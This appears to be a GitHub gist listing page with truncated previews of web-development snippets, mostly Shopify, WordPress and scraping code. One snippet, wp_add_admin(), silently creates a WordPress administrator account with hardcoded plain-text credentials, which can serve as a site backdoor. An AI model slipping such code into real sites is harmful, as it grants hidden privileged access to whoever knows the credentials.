This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!------------- SCRIPT ON THEME.LIQUID FILE ------> | |
<!-- microsoft --> | |
<script> | |
(function(w,d,t,r,u) | |
{ | |
var f,n,i; | |
w[u]=w[u]||[],f=function() | |
{ | |
var o={ti:"187033303"}; | |
o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$speaker_name = rwmb_meta( 'speaker_name' ); // meta fields | |
$speaker_role = rwmb_meta( 'speaker_role' ); | |
$video_link = rwmb_meta( 'video_link' ); | |
$speaker_talk_title = rwmb_meta( 'speaker_talk_title' ); | |
$images = rwmb_meta( 'speaker_image', array( 'size' => 'full' ) ); | |
?> | |
<div class="card" data-fancybox href="<?php echo $video_link; ?>" data-width="640" data-height="360"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wp_add_admin() { | |
$user = 'some_user_name'; | |
$pass = 'some_pass_word'; // password in plain text | |
$email = 'email_id'; | |
if ( ! username_exists( $user ) && ! email_exists( $email ) ) { | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!---- variants slectionchangejs ----> | |
{% if product.variants.size > 1 %} | |
<script> | |
function selectCallback(variant, selector){ | |
var title=variant.title; | |
var price = variant.price; | |
console.log(price); | |
$("span[data-product-price]").text( Shopify.formatMoney(variant.price,'{{ shop.money_format }}')); | |
console.log(title); | |
var media_src = variant.featured_media.id; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#scrap website using Python3 and BeautifulSoup | |
import requests | |
from bs4 import BeautifulSoup | |
result = requests.get("https://wiki.com") #add your url | |
src = result.content | |
soup = BeautifulSoup(src, 'lxml') | |
# name the output file to write to local disk | |
out_filename = "bookmarks_design.csv" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Add it in the end of your functions.php file in the child theme | |
// Remove dashicons in frontend for unauthenticated users | |
add_action( 'wp_enqueue_scripts', 'rs_dequeue_dashicons' ); | |
function rs_dequeue_dashicons() { | |
if ( ! is_user_logged_in() ) { | |
wp_deregister_style( 'dashicons' ); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Plugin Name: Scripts to Head | |
* Plugin URI: https://thepartytraveller.com | |
* Description: Add Scripts to head without any other noise | |
* Version: 1.0 | |
* Author: Robin | |
* Author URI: https://thepartytraveller.com | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Update Breadcrumbs structure | |
* | |
*/ | |
/* This function will go inside your child functions.php file of your theme */ | |
function pf_custom_crumbs( $crumbs ) { | |
$newcrumbs = array(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
jQuery(document).ready(function(t) { | |
var o = t("#logo"), | |
n = !1, | |
s = ["make some noise", "make magic happen", "make yourself heard", "make time for you", "make history", "make it count", "make a bold move", "make mama some money", "make me a drank", "make that hotline bling", "make it rain", "make a difference", "make your dreams real", "make your move", "make it outfuckingstanding", "make it outstanding", "make mashed potatoes", "make connections", "make guacamole", "make your art", "make’m want more", "make success inevitable", "make a leap of faith", "make someone laugh", "make silly faces", "make misteaks mistakes often", "make work you love", "make money, change the world", "make dreams come true", "make peace", "make weird art", "make poo jokes", "make a ruckus", "make coffee", "make more art", "make it simple", "make the internet kinder", "make yourself proud", "make time for what matters", "make fart noises", "make memories", "make some magic", "make make-believe", " |
NewerOlder